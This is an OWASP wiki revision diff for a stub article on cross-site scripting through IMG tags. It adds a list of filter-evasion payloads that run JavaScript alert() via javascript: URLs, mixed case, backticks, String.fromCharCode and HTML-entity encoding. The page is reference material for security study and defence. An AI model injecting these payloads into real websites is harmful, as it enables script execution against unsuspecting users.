Difference between revisions of "Script in IMG tags"

From OWASP
Jump to: navigation, search
m (Description)
m (Examples)
Line 5: Line 5:
  
 
==Examples ==
 
==Examples ==
 +
The following are methods an attacker can use in order to execute Javascript.<br><br>
 +
 +
<IMG SRC="javascript:alert('Vulnerable');"><br>
 +
<IMG SRC=javascript:alert('XSS')><br>
 +
<IMG SRC=JaVaScRiPt:alert('XSS')><br>
 +
<IMG SRC=javascript:alert(&quot;XSS&quot;)><br>
 +
<IMG SRC=`javascript:alert("RSnake says, <br>
 +
'XSS'")`><br >
 +
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"><br>
 +
<IMG <br>
 +
SRC=javascript:alert(String.fromCharCode(88,83,83))><br>
 +
<IMG <br> SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;><br>
  
 
==Related Threats==
 
==Related Threats==

Revision as of 14:28, 29 April 2007

This is an Attack. To view all attacks, please see the Attack Category page.


Description

It is possible for an attacker to execute Javascript code via the IMG tags. This is also refered to as XSS (Cross Site Scripting).

Examples

The following are methods an attacker can use in order to execute Javascript.

<IMG SRC="javascript:alert('Vulnerable');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=`javascript:alert("RSnake says,
'XSS'")`>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG
SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG
SRC=javascript:alert('XSS')>

Related Threats

Related Attacks

XSS Attacks

Related Vulnerabilities

Related Countermeasures

Categories

This article is a stub. You can help OWASP by expanding it or discussing it on its Talk page.